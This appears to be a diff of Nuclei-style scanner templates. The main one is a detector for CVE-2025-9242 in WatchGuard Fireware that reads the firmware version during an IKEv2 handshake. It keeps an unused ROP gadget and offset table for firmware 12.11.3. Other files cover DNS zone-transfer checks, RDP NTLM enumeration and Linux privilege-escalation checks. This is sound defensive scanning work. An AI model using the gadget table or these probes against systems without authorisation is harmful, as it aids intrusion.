+    WatchGuard Fireware OS 11.10.2 to 11.12.4_Update1, 12.0 to 12.11.3, and 2025.1 contains an out-of-bounds write caused by improper handling in Mobile User VPN and Branch Office VPN with IKEv2 dynamic gateway peer, letting remote unauthenticated attackers execute arbitrary code.
+  impact: |
+    Remote unauthenticated attackers can execute arbitrary code, potentially leading to full system compromise.
+  remediation: |
+    Update to the latest Fireware OS version beyond 2025.1.
+  reference:
+    - https://github.com/watchtowrlabs/watchTowr-vs-WatchGuard-CVE-2025-9242/
+    - https://labs.watchtowr.com/yikes-watchguard-fireware-os-ikev2-out-of-bounds-write-cve-2025-9242
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-9242
+    cwe-id: CWE-787,CWE-362
+    epss-score: 0.055
+    epss-percentile: 0.89772
+    cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    shodan-query: html:"Watchguard" html:"Authentication Server"
+  tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn
+
+variables:
+  HOST: "{{Host}}"
+  PORT: "{{Port}}"
+
+code:
+  - engine:
+      - py
+      - python3
+    source: |
+      import socket
+      import struct
+      import random
+      import enum
+      import hashlib
+      import hmac
+      import logging
+      import base64
+      import binascii
+      import re
+      import sys
+      import os
+      from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
+      from cryptography.hazmat.backends import default_backend
+
+      # Configure logging
+      logging.basicConfig(level=logging.INFO, format='%(message)s')
+
+      FW_VERSION = None
+      BUILD_NUMBER = None
+
+      class WatchGuardFw:
+          ADDRESSES = {
+              '12.11.3': {
+                  'pop_rcx_ret': 0x4225ab,
+                  'mov_rax_rcx_ret': 0x5a4fac,
+                  'mov_rbp_rsp_call_rax': 0x42008d,
+                  'pop_r13_ret': 0x594ac4,
+                  'mov_rax_rbp_pop_rbx_pop_rbp_ret': 0x598d69,
+                  'sub_rax_rcx_ret': 0x5a4fd8,
+                  'push_rax_mov_rax_rbx_pop_rbx_ret': 0x5a4468,
+                  'mov_rdi_rbx_call_rax': 0x42fce4,
+                  'pop_rsi_ret': 0x508ece,
+                  'pop_rdx_ret': 0x483a4a,
+                  'mov_rax_rax_ret': 0x5b145e,
+                  'jmp_rax': 0x41908f,
+                  'jmp_rbx': 0x449ba3,
+                  'offset_data': 0x00,
+                  'offset_shellcode': 0x30,
+                  'offset_stack': 0x340,
+                  'offset_stack_page_aligned': 0x0cc8,
+                  'offset_bind_mprotect': 0x5ea0,
+                  'got_bind': 0x658028,
+              },
+          }
+
+          @staticmethod
+          def version_tuple(v):
+              return tuple(map(int, (v.split("."))))
+
+      class PayloadType(enum.IntEnum):
+          NONE = 0
+          TRANSFORM = 3
+          SECURITY_ASSOCIATION = 33
+          KEY_EXCHANGE = 34
+          IDENTIFIER_INITIATOR = 35
+          IDENTIFIER_RESPONDER = 36
+          CERTIFICATE = 37
+          CERTIFICATE_REQUEST = 38
+          AUTHENTICATION = 39
+          NONCE = 40
+          NOTIFY = 41
+          DELETE = 42
+          VENDOR_ID = 43
+          TRAFFIC_SELECTOR_INITIATOR = 44
+          TRAFFIC_SELECTOR_RESPONDER = 45
+          ENCRYPTED = 46
+          CONFIGURATION = 47
+          EXTENSIBLE_AUTHENTICATION = 48
+
+      class ExchangeType(enum.IntEnum):
+          IKE_SA_INIT = 34
+          IKE_AUTH = 35
+          CREATE_CHILD_SA = 36
+          INFORMATIONAL = 37
+
+      class TransformType(enum.IntEnum):
+          ENCRYPTION_ALGORITHM = 1
+          PSEUDO_RANDOM_FUNCTION = 2
+          INTEGRITY_ALGORITHM = 3
+          DIFFIE_HELLMAN_GROUP = 4
+
+      class NotifyType(enum.IntEnum):
+          UNSUPPORTED_CRITICAL_PAYLOAD = 1
+          INVALID_IKE_SPI = 4
+          INVALID_MAJOR_VERSION = 5
+          INVALID_SYNTAX = 7
+          INVALID_MESSAGE_ID = 9
+          INVALID_SPI = 11
+          NO_PROPOSAL_CHOSEN = 14
+          INVALID_KE_PAYLOAD = 17
+          AUTHENTICATION_FAILED = 24
+          SINGLE_PAIR_REQUIRED = 34
+          NO_ADDITIONAL_SAS = 35
+          INTERNAL_ADDRESS_FAILURE = 36
+          FAILED_CP_REQUIRED = 37
+          TS_UNACCEPTABLE = 38
+          INVALID_SELECTORS = 39
+          INITIAL_CONTACT = 16384
+          SET_WINDOW_SIZE = 16385
+          ADDITIONAL_TS_POSSIBLE = 16386
+          IPCOMP_SUPPORTED = 16387
+          NAT_DETECTION_SOURCE_IP = 16388
+          NAT_DETECTION_DESTINATION_IP = 16389
+          COOKIE = 16390
+          USE_TRANSPORT_MODE = 16391
+          HTTP_CERT_LOOKUP_SUPPORTED = 16392
+          REKEY_SA = 16393
+          ESP_TFC_PADDING_NOT_SUPPORTED = 16394
+          NON_FIRST_FRAGMENTS_ALSO = 16395
+          MOBIKE_SUPPORTED = 16396
+          MULTIPLE_AUTH_SUPPORTED = 16404
+          REDIRECT_SUPPORTED = 16406
+          IKEV2_FRAGMENTATION_SUPPORTED = 16430
+          SIGNATURE_HASH_ALGORITHMS = 16431
+
+      class EncryptionAlgorithm(enum.IntEnum):
+          ENCR_DES_IV64 = 1
+          ENCR_DES = 2
+          ENCR_3DES = 3
+          ENCR_RC5 = 4
+          ENCR_IDEA = 5
+          ENCR_CAST = 6
+          ENCR_BLOWFISH = 7
+          ENCR_3IDEA = 8
+          ENCR_DES_IV32 = 9
+          RESERVED = 10
+          ENCR_NULL = 11
+          ENCR_AES_CBC = 12
+          ENCR_AES_CTR = 13
+          ENCR_AES_CCM_8 = 14
+          ENCR_AES_CCM_12 = 15
+          ENCR_AES_CCM_16 = 16
+          ENCR_AES_GCM_8 = 18
+          ENCR_AES_GCM_12 = 19
+          ENCR_AES_GCM_16 = 20
+          ENCR_NULL_AUTH_AES_GMAC = 21
+          P1619_XTS_AES = 22
+          ENCR_CAMELLIA_CBC = 23
+          ENCR_CAMELLIA_CTR = 24
+          ENCR_CAMELLIA_CCM_8 = 25
+          ENCR_CAMELLIA_CCM_12 = 26
+          ENCR_CAMELLIA_CCM_16 = 27
+          ENCR_CHACHA20_POLY1305 = 28
+          ENCR_AES_CCM_8_IIV = 29
+          ENCR_AES_GCM_16_IIV = 30
+          ENCR_CHACHA20_POLY1305_IIV = 31
+          ENCR_KUZNYECHIK_MGM_KTREE = 32
+          ENCR_MAGMA_MGM_KTREE = 33
+          ENCR_KUZNYECHIK_MGM_MAC_KTREE = 34
+          ENCR_MAGMA_MGM_MAC_KTREE = 35
+
+      class PseudoRandomFunction(enum.IntEnum):
+          PRF_HMAC_MD5 = 1
+          PRF_HMAC_SHA1 = 2
+          PRF_HMAC_TIGER = 3
+          PRF_AES128_XCBC = 4
+          PRF_HMAC_SHA2_256 = 5
+          PRF_HMAC_SHA2_384 = 6
+          PRF_HMAC_SHA2_512 = 7
+          PRF_AES128_CMAC = 8
+          PRF_HMAC_STREEBOG_512 = 9
+
+      class IntegrityAlgorithm(enum.IntEnum):
+          AUTH_HMAC_MD5_96 = 1
+          AUTH_HMAC_SHA1_96 = 2
+          AUTH_DES_MAC = 3
+          AUTH_KPDK_MD5 = 4
+          AUTH_AES_XCBC_96 = 5
+          AUTH_HMAC_MD5_128 = 6
+          AUTH_HMAC_SHA1_160 = 7
+          AUTH_AES_CMAC_96 = 8
+          AUTH_AES_128_GMAC = 9
+          AUTH_AES_192_GMAC = 10
+          AUTH_AES_256_GMAC = 11
+          AUTH_HMAC_SHA2_256_128 = 12
+          AUTH_HMAC_SHA2_384_192 = 13
+          AUTH_HMAC_SHA2_512_256 = 14
+
+      class DiffieHellmanGroup(enum.IntEnum):
+          DH_GROUP_2048_BIT_MODP = 14
+          DH_GROUP_768_BIT_MODP = 1
+          DH_GROUP_1024_BIT_MODP = 2
+          DH_GROUP_1536_BIT_MODP = 5
+          DH_GROUP_3072_BIT_MODP = 15
+          DH_GROUP_4096_BIT_MODP = 16
+          DH_GROUP_6144_BIT_MODP = 17
+          DH_GROUP_8192_BIT_MODP = 18
+          RANDOM_ECP_GROUP_256_BIT = 19
+          RANDOM_ECP_GROUP_384_BIT = 20
+          RANDOM_ECP_GROUP_521_BIT = 21
+          DH_GROUP_1024_BIT_MODP_WITH_160_BIT_PRIME_ORDER_SUBGROUP = 22
+          DH_GROUP_2048_BIT_MODP_WITH_224_BIT_PRIME_ORDER_SUBGROUP = 23
+          DH_GROUP_2048_BIT_MODP_WITH_256_BIT_PRIME_ORDER_SUBGROUP = 24
+          RANDOM_ECP_GROUP_192_BIT = 25
+          RANDOM_ECP_GROUP_224_BIT = 26
+          BRAINPOOLP224R1 = 27
+          BRAINPOOLP256R1 = 28
+          BRAINPOOLP384R1 = 29
+          BRAINPOOLP512R1 = 30
+          CURVE25519 = 31
+          CURVE448 = 32
+          GOST3410_2012_256 = 33
+          GOST3410_2012_512 = 34
+          ML_KEM_512 = 35
+          ML_KEM_768 = 36
+          ML_KEM_1024 = 37
+
+      class IkePacker:
+          @staticmethod
+          def header(initiator_spi, responder_spi, next_payload, exchange_type, message_id, version=0x20, flags = 0x08):
+              return struct.pack('>QQBBBBII', initiator_spi, responder_spi, next_payload, version, exchange_type, flags, message_id, 0)
+
+          @staticmethod
+          def payload_header(next_payload, payload, critical = 0):
+              return struct.pack('>BBH', next_payload, critical, 4 + len(payload)) + payload
+
+          @staticmethod
+          def security_association(next_payload, proposal):
+              return IkePacker.payload_header(next_payload, proposal)
+
+          @staticmethod
+          def proposal(next_payload, number, id, transforms = [], spi = b''):
+              b_transforms = b''
+              for transform in transforms:
+                  if isinstance(transform, IkeTransform):
+                      b_transforms += transform.pack()
+                      continue
+                  b_transforms += transform
+              return IkePacker.payload_header(next_payload, struct.pack('>BBBB', number, id, len(spi), len(transforms)) + spi + b_transforms)
+
+          @staticmethod
+          def key_exchange(next_payload, dh_group, data, reserved = 0):
+              return IkePacker.payload_header(next_payload, struct.pack('>HH', dh_group, reserved) + data)
+
+          @staticmethod
+          def nonce(next_payload, nonce):
+              return IkePacker.payload_header(next_payload, nonce)
+
+          @staticmethod
+          def notify(next_payload, notify_type, data = b'', protocol_id = 1, spi_size = 0):
+              return IkePacker.payload_header(next_payload, struct.pack('>BBH', protocol_id, spi_size, notify_type) + data)
+
+          @staticmethod
+          def vendor_id(next_payload, vendor_id):
+              return IkePacker.payload_header(next_payload, vendor_id)
+
+      class IkeTransform:
+          def __init__(self, next_payload, transform_type, transform_id, transform_attributes=None, reserved=0):
+              self.next_payload = next_payload
+              self.transform_type = transform_type
+              self.reserved = reserved
+              self.transform_id = transform_id
+              self.transform_attributes = transform_attributes
+
+          def pack(self):
+              transform = struct.pack('>BBH', self.transform_type, self.reserved, self.transform_id)
+              if self.transform_attributes:
+                  transform += struct.pack('>I', self.transform_attributes)
+              return IkePacker.payload_header(self.next_payload, transform)
+
+      class IkeResponse:
+          def __init__(self, initiator_spi, responder_spi, version, exchange_type, flags, message_id, length, payloads):
+              self.initiator_spi = initiator_spi
+              self.responder_spi = responder_spi
+              self.version = version
+              self.exchange_type = exchange_type
+              self.flags = flags
+              self.message_id = message_id
+              self.length = length
+              self.payloads = payloads
+
+          def get(self, type):
+              payloads = []
+              for payload in self.payloads:
+                  if payload['type'] == type:
+                      payloads.append(payload['payload'])
+              return payloads
+
+      class IkeUnpacker:
+          @staticmethod
+          def unpack_payload_header(data):
+              return struct.unpack('>BBH', data[:4])
+
+          @staticmethod
+          def unpack(response):
+              initiator_spi, responder_spi, next_payload, version, exchange_type, flags, message_id, length = struct.unpack('>QQBBBBII', response[:28])
+              raw_payloads = response[28:]
+
+              i = 0
+              payload_type = next_payload
+              payloads = []
+              while i < len(raw_payloads):
+                  next_payload, critical, payload_length = IkeUnpacker.unpack_payload_header(raw_payloads[i:i+4])
+                  payload = raw_payloads[i+4:i+payload_length]
+
+                  if payload_type == PayloadType.VENDOR_ID:
+                      payload = payload
+
+                  payloads.append({
+                      'type': payload_type,
+                      'critical': critical,
+                      'payload': payload
+                  })
+                  i += payload_length
+                  payload_type = next_payload
+
+              return IkeResponse(
+                  initiator_spi,
+                  responder_spi,
+                  version,
+                  exchange_type,
+                  flags,
+                  message_id,
+                  length,
+                  payloads
+              )
+
+      class IkeCrypto:
+          def __init__(self):
+              self.initiator_nonce = self.generate_nonce(32)
+              self.initiator_spi = random.randint(0, 0xffffffffffffffff)
+              self.responder_spi = 0x0000000000000000
+              self.client_private_key = None
+              self.client_public_key = None
+              self.client_public_key_bytes = None
+              self.generate_keys = self.dh_modp_14_generate_keys
+              self.generate_keys()
+
+          def generate_nonce(self, length=32):
+              return random.getrandbits(length * 8).to_bytes(length, 'big')
+
+          def dh_modp_14_generate_keys(self):
+              p_hex = 'FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF'
+              self.p = int(p_hex, 16)
+              if self.p.bit_length() != 2048:
+                  self.p = self.p >> (self.p.bit_length() - 2048)
+              g = 2
+              self.client_private_key = random.randint(1, self.p - 1)
+              self.client_public_key = pow(g, self.client_private_key, self.p)
+              public_key_bit_length = self.client_public_key.bit_length()
+              public_key_byte_length = (public_key_bit_length + 7) // 8
+              if public_key_byte_length > 256:
+                  raise ValueError(f"Public key too large: {public_key_byte_length} bytes (max 256)")
+              self.client_public_key_bytes = self.client_public_key.to_bytes(public_key_byte_length, 'big').rjust(256, b'\x00')
+
+      class IkeException(Exception):
+          pass
+
+      class IkeNoProposalChosenException(IkeException):
+          pass
+
+      class IkeInvalidKEPayloadException(IkeException):
+          pass
+
+      class Ike:
+          def __init__(self, ip, port, timeout = 5):
+              self.ip = ip
+              self.port = port
+              self.timeout = timeout
+              self.crypto = None
+              self.sock = None
+              self.reset()
+
+          @staticmethod
+          def update_request_length(request):
+              total_length = len(request)
+              return request[:24] + struct.pack('>I', total_length) + request[28:]
+
+          def reset(self):
+              if self.sock != None:
+                  self.close()
+              self.crypto = IkeCrypto()
+              self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+              self.sock.settimeout(self.timeout)
+
+          def send(self, packet):
+              self.sock.sendto(packet, (self.ip, self.port))
+              response, addr = self.sock.recvfrom(65535)
+              return IkeUnpacker.unpack(response)
+
+          def close(self):
+              self.sock.close()
+              self.sock = None
+
+          def sa_init(self):
+              global FW_VERSION, BUILD_NUMBER
+              dh_group = DiffieHellmanGroup.DH_GROUP_2048_BIT_MODP.value
+              key_exchange = self.crypto.client_public_key_bytes
+              transforms = [
+                  IkeTransform(PayloadType.TRANSFORM, TransformType.ENCRYPTION_ALGORITHM, EncryptionAlgorithm.ENCR_AES_CBC.value, 0x800e0100),
+                  IkeTransform(PayloadType.TRANSFORM, TransformType.PSEUDO_RANDOM_FUNCTION, PseudoRandomFunction.PRF_HMAC_SHA2_256.value),
+                  IkeTransform(PayloadType.TRANSFORM, TransformType.INTEGRITY_ALGORITHM, IntegrityAlgorithm.AUTH_HMAC_SHA2_256_128.value),
+                  IkeTransform(PayloadType.NONE, TransformType.DIFFIE_HELLMAN_GROUP, DiffieHellmanGroup.DH_GROUP_2048_BIT_MODP.value),
+              ]
+
+              r = self.send(Ike.update_request_length(
+                  IkePacker.header(self.crypto.initiator_spi, self.crypto.responder_spi, PayloadType.SECURITY_ASSOCIATION, ExchangeType.IKE_SA_INIT, 0) +
+                  IkePacker.security_association(PayloadType.KEY_EXCHANGE, IkePacker.proposal(PayloadType.NONE, 1, 1, transforms)) +
+                  IkePacker.key_exchange(PayloadType.NONCE, dh_group, key_exchange) +
+                  IkePacker.nonce(PayloadType.NOTIFY, self.crypto.initiator_nonce) +
+                  IkePacker.notify(PayloadType.NOTIFY, NotifyType.NAT_DETECTION_DESTINATION_IP, bytes.fromhex('a6358d813592fdd80a9aaa3390f39c8a5a76b6e4')) +
+                  IkePacker.notify(PayloadType.VENDOR_ID, NotifyType.NAT_DETECTION_SOURCE_IP, bytes.fromhex('4cc324152ba3f68ef649ac1e6f96f33791611db2')) +
+                  IkePacker.vendor_id(PayloadType.VENDOR_ID, bytes.fromhex('c590254e5403cbb71f3d493111d7fcad')) +
+                  IkePacker.vendor_id(PayloadType.VENDOR_ID, bytes.fromhex('c61baca1f1a60cc10800000000000000')) +
+                  IkePacker.vendor_id(PayloadType.VENDOR_ID, bytes.fromhex('4048b7d56ebce88525e7de7f00d6c2d3c0000000')) +
+                  IkePacker.vendor_id(PayloadType.NOTIFY, bytes.fromhex('4048b7d56ebce88525e7de7f00d6c2d3')) +
+                  IkePacker.notify(PayloadType.NOTIFY, NotifyType.IKEV2_FRAGMENTATION_SUPPORTED, protocol_id = 0) +
+                  IkePacker.notify(PayloadType.NOTIFY, NotifyType.REDIRECT_SUPPORTED, protocol_id = 0) +
+                  IkePacker.notify(PayloadType.NONE, NotifyType.SIGNATURE_HASH_ALGORITHMS, bytes.fromhex('0001000200030004'), protocol_id = 0)
+              ))
+
+              if FW_VERSION == None:
+                  vendors = r.get(PayloadType.VENDOR_ID)
+                  for vendor in vendors:
+                      if len(vendor) > 32 and vendor[:8].hex() == 'bfc22e9856ba9936':
+                          try:
+                              watchguard_data = base64.b64decode(vendor[32:].decode('ascii')).decode()
+                              match = re.search(r"VN=([0-9\.]+) BN=([0-9]+)", watchguard_data)
+                              if match:
+                                  FW_VERSION = match.group(1)
+                                  BUILD_NUMBER = match.group(2)
+
+                                  if WatchGuardFw.version_tuple(FW_VERSION) < WatchGuardFw.version_tuple("12.11.4"):
+                                      return True, FW_VERSION, BUILD_NUMBER
+                                  else:
+                                      return False, FW_VERSION, BUILD_NUMBER
+                          except (UnicodeDecodeError, binascii.Error):
+                              continue
+
+              notifications = r.get(PayloadType.NOTIFY)
+              for notification in notifications:
+                  if notification.message_type == NotifyType.NO_PROPOSAL_CHOSEN:
+                      raise IkeNoProposalChosenException()
+                  if notification.message_type == NotifyType.INVALID_KE_PAYLOAD:
+                      raise IkeInvalidKEPayloadException()
+
+              return None, None, None
+
+      def test_connection(ip, port, timeout=20):
+          try:
+              sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+              sock.settimeout(timeout)
+              sock.connect((ip, port))
+              sock.close()
+              return True
+          except (socket.timeout, socket.error, ConnectionRefusedError, OSError):
+              try:
+                  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+                  sock.settimeout(timeout)
+                  result = sock.connect_ex((ip, port))
+                  sock.close()
+                  return result == 0
+              except (socket.timeout, socket.error, ConnectionRefusedError, OSError):
+                  return False
+
+      def check_watchguard_version(ip, port=500, timeout=10, connection_timeout=20):
+          global FW_VERSION, BUILD_NUMBER
+          FW_VERSION = None
+          BUILD_NUMBER = None
+
+          if not test_connection(ip, port, connection_timeout):
+              return False, None, None
+
+          ike = Ike(ip, port, timeout)
+
+          try:
+              is_vulnerable, fw_version, build_number = ike.sa_init()
+              return is_vulnerable, fw_version, build_number
+          except TimeoutError:
+              logging.error(f"[-] {ip}:{port} - IKEv2 timeout")
+              return False, None, None
+          except IkeNoProposalChosenException:
+              logging.warning(f"[!] {ip}:{port} - IKEv2 service found but no proposal chosen")
+              return False, None, None
+          except IkeInvalidKEPayloadException:
+              logging.warning(f"[!] {ip}:{port} - IKEv2 service found but invalid KE payload")
+              return False, None, None
+          except Exception as e:
+              logging.error(f"[-] {ip}:{port} - Error: {e}")
+              return False, None, None
+          finally:
+              ike.close()
+
+      def main():
+          host = os.getenv("Host")
+          port = os.getenv("Port")
+
+          # Set default port to 500 if Port environment variable is not set
+          if port is None or port == "":
+              port = "500"
+
+          try:
+              is_vulnerable, fw_version, build_number = check_watchguard_version(host, int(port))
+
+              if is_vulnerable is True:
+                  print(f"Vulnerable to Version {fw_version} (Build {build_number})")
+              elif is_vulnerable is False:
+                  print(f"NOT VULN to Version {fw_version} (Build {build_number})")
+
+          except Exception as e:
+              logging.error(f"[-] {host}:{port or 500} - Error: {e}")
+              logging.info(f"[?] {host}:{port or 500} - ERROR")
+              logging.info(f"    Status: Error occurred during check")
+
+      if __name__ == "__main__":
+          main()
+
+    matchers:
+      - type: word
+        words:
+          - "Vulnerable"
+
+    extractors:
+      - type: dsl
+        dsl:
+          - response
+# digest: 4a0a00473045022100dcff8d2117d05c7f29608fb37b2e2c96880d295642afaa19a7b9fd87fbbe7189022015423b37441c71e3f9b33c8cd1635fd58e97b63018684175eecad56ee9676538:922c64590222798bb761d5b6d8e72950

code/misconfiguration/dns-axfr-enabled.yaml

@@ -0,0 +1,34 @@
+id: dns-axfr-enabled
+
+info:
+  name: DNS Zone Transfer Check (AXFR)
+  author: matejsmycka
+  severity: medium
+  description: |
+    Checks if particular domain can be queried via DNS Zone Transfer (AXFR). An open zone transfer can disclose all DNS records for a zone, leading to information leakage.
+  reference:
+    - https://beaglesecurity.com/blog/vulnerability/dns-zone-transfer.html
+  metadata:
+    verified: true
+    shodan-query: port:53
+  tags: dns,tcp,axfr,code
+
+code:
+  - engine:
+      - bash
+    source: |
+      domain=$Host
+      dig axfr $domain @$(dig $domain ns +short | head -n1)
+
+    matchers:
+      - type: regex
+        regex:
+          - 'XFR size: [1-9][0-9]* records?'
+        condition: and
+
+    extractors:
+      - type: regex
+        regex:
+          - 'SOA\s+([^\s]+)'
+        group: 1
+# digest: 4a0a004730450220035a0e8c35c138a76af730a8b2beba052efc136bfedf13160598e9d360c3853c0221008a598f55b7c84f2ac2dbc10e1831976297c3b5cfec55eaa95ddfde27e0fd62cc:922c64590222798bb761d5b6d8e72950

code/privilege-escalation/linux/binary/privesc-pexec.yaml

@@ -6,8 +6,8 @@ info:
   severity: high
   description: |
     The term "pexec" typically refers to the "privileged execution" of a command or program.
-  reference: |
-    https://gtfobins.github.io/gtfobins/pexec/
+  reference:
+    - https://gtfobins.github.io/gtfobins/pexec/
   metadata:
     verified: true
     max-request: 3
@@ -46,4 +46,4 @@ code:
           - 'contains(code_2_response, "root")'
           - 'contains(code_3_response, "root")'
         condition: or
-# digest: 4a0a004730450221009edb614e28a065546cc8fafe7499dcfbffc2d5635ea4dfcdd9cb6aa61a7b664f022012a2c7395c97ef6db907e2e171073c5654f2cf5c48c7e29c5487b3429f174282:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100de37bdf596ffb4626b12296c771186fec148695b0eddf24491a7861479a76d6a022033304a3c5d01e3f2037c9f35445b551dd13f1344c828348c59972410e6b5b1f4:922c64590222798bb761d5b6d8e72950

code/privilege-escalation/linux/binary/privesc-run-parts.yaml

@@ -6,7 +6,8 @@ info:
   severity: high
   description: |
     The run-parts command in Linux is used to run all the executable files in a directory. It is commonly used for running scripts or commands located in a specific directory, such as system maintenance scripts in /etc/cron.daily. The run-parts command provides a convenient way to execute multiple scripts or commands in a batch manner.
-  reference: https://gtfobins.github.io/gtfobins/run-parts/
+  reference:
+    - https://gtfobins.github.io/gtfobins/run-parts/
   metadata:
     verified: true
     max-request: 3
@@ -45,4 +46,4 @@ code:
           - 'contains(code_2_response, "root")'
           - 'contains(code_3_response, "root")'
         condition: or
-# digest: 4a0a0047304502203c27143ba06ddc09168f9b472e4bb6ebda812ba9bef6bfe56aa200aa59f8b96a022100a9c9bac8a191a714b64848b444f9100ccb89420961c5d53377e1278b3942e51a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b45cb313219a24e71be199e7965444e8eae74df5d45845795d2ae512636cd45602210091d4f511f1df6a3c3aa0902004aa7a82bb389ac64628a877ac785feca59559e6:922c64590222798bb761d5b6d8e72950

code/privilege-escalation/linux/rw-shadow.yaml

@@ -5,7 +5,8 @@ info:
   author: daffainfo
   severity: high
   reference:
-    - https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-etc-shadow
+    - https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#passwdshadow-files
+    - https://man7.org/linux/man-pages/man5/shadow.5.html
   metadata:
     verified: true
     max-request: 2
@@ -42,4 +43,4 @@ code:
         words:
           - "Not readable and not writable"
         negative: true
-# digest: 4a0a00473045022100eb188c9515d521fa04359befea4e72a984d0fb008f92fedb7026fbdf0e3cb93b02200b58a0d7ff63a300b598ceaeed8bf03e78c1a78ce63472fdf6c526a07814e53c:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207974e0cc03df2c2f1939ed4abd700a9662e8ff35d9b5cad24208b6df3171a25402206d0c24abe4e2825e256bea8295182d242d4c39417906c01b9e000ba724250801:922c64590222798bb761d5b6d8e72950

code/privilege-escalation/linux/rw-sudoers.yaml

@@ -5,7 +5,7 @@ info:
   author: daffainfo
   severity: high
   reference:
-    - https://book.hacktricks.xyz/linux-hardening/privilege-escalation#etc-sudoers-etc-sudoers.d
+    - https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html?highlight=%2Fetc%2Fsudoers#etcsudoers-etcsudoersd
   metadata:
     verified: true
     max-request: 2
@@ -42,4 +42,4 @@ code:
         words:
           - "Not readable and not writable"
         negative: true
-# digest: 490a004630440220058488f0abb109eeda0bb09699d34242875b4af49c51688db2197fd166f508e0022048ed2cfffb8b7b256a3eb1710ebf6a77dc391cc0d20314008b321708803f4881:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204b486f9634aee66597295d7afdc3039538318a8c75cc91e4995945afc621e91f022100bd4700f836ab41d9fa788d3608ec37a8b4df3acd1984170a14b15438eaa1ef60:922c64590222798bb761d5b6d8e72950

code/privilege-escalation/linux/sudo-nopasswd.yaml

@@ -6,7 +6,7 @@ info:
   severity: high
   description: Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password.
   reference:
-    - https://book.hacktricks.xyz/linux-hardening/privilege-escalation#nopasswd
+    - https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#nopasswd
   metadata:
     verified: true
   tags: code,linux,sudo,privesc,local
@@ -24,4 +24,4 @@ code:
         part: code_1_response
         words:
           - "(root) NOPASSWD:"
-# digest: 4a0a0047304502203fed09936acd0184f8239fbd5bfd5caea9650d83284dd7ad0e33f40af198b873022100b17205cf173f893e2d803afa4c1049bf300c329e2830b439cecbbb679cd11f07:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100fc332830334e18132f3b3ba33a57c0d646f7b4ec9fb6a83849c70aa877efffe2022100c780fc0fccad8542da4cca4eaa21c354115cb95d6c3fa910fb5ce6c55821d829:922c64590222798bb761d5b6d8e72950

code/privilege-escalation/linux/writable-etc-passwd.yaml

@@ -5,7 +5,7 @@ info:
   author: daffainfo
   severity: high
   reference:
-    - https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-etc-passwd
+    - https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-etcpasswd
   metadata:
     verified: true
   tags: code,linux,privesc,local
@@ -29,4 +29,4 @@ code:
         words:
           - "Not writable"
         negative: true
-# digest: 4a0a0047304502202a84729e697bff2f8aaf482cfe72f81d230d56c185f9f05365bed72563035d61022100b5682ab9d4331a9d97563cd593b7f3b752ad3c4a99dc5c0287b9eb9f18db9ede:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200a2dcfb2eaea839565816d82dd85b66ba2456dbbe04b3f5571d026c605a94f9c02202f0547ac07c1d33f571cbde87705304d77846d67c120b2b983502fa275396a5f:922c64590222798bb761d5b6d8e72950

code/windows/enumeration/rdp-ntlm-info.yaml

@@ -0,0 +1,112 @@
+id: rdp-ntlm-info
+
+info:
+  name: RDP - NTLM Information Disclosure
+  author: matejsmycka
+  severity: info
+  description: |
+    The enumeration gathered NTLM-related information from remote RDP services with Network Level Authentication (NLA) enabled. By sending an incomplete authentication request, it disclosed details such as the target’s NetBIOS and DNS names, domain, product version, and system time, which proved useful for network reconnaissance and asset profiling.
+  reference:
+    - https://nmap.org/nsedoc/scripts/rdp-ntlm-info.html
+    - https://svn.nmap.org/nmap/scripts/rdp-ntlm-info.nse
+  metadata:
+    verified: true
+    max-request: 1
+  tags: code,rdp,ntlm,info,enum,discovery
+
+variables:
+  PORT: 3389
+
+code:
+  - engine:
+      - py
+      - python3
+
+    source: |
+
+      import socket
+      import ssl
+      import struct
+      import os
+      from datetime import datetime, timezone
+
+      RDP_HOST, RDP_PORT = os.getenv('Host'), int(os.getenv('PORT'))
+      TIMEOUT = 5
+
+      NTLM_NEGOTIATE_BLOB = bytes.fromhex(
+          "30 37 A0 03 02 01 60 A1 30 30 2E 30 2C A0 2A 04 28"
+          "4e 54 4c 4d 53 53 50 00"  # NTLMSSP signature
+          "01 00 00 00"              # Type 1: Negotiate
+          "B7 82 08 E2"              # Flags
+          "00 00"                    # DomainNameLen
+          "00 00"                    # DomainNameMaxLen
+          "00 00 00 00"              # DomainNameBufferOffset
+          "00 00"                    # WorkstationLen
+          "00 00"                    # WorkstationMaxLen
+          "00 00 00 00"              # WorkstationBufferOffset
+          "0A 00 63 45 00 00 00 00 0F"  # Version & NTLMRevision
+      )
+
+      AV_PAIRS = {0x00:"EndOfList",0x01:"NetBIOS_ComputerName",0x02:"NetBIOS_DomainName",0x03:"DNS_ComputerName",0x04:"DNS_DomainName",0x05:"DNS_TreeName",0x07:"Timestamp"}
+
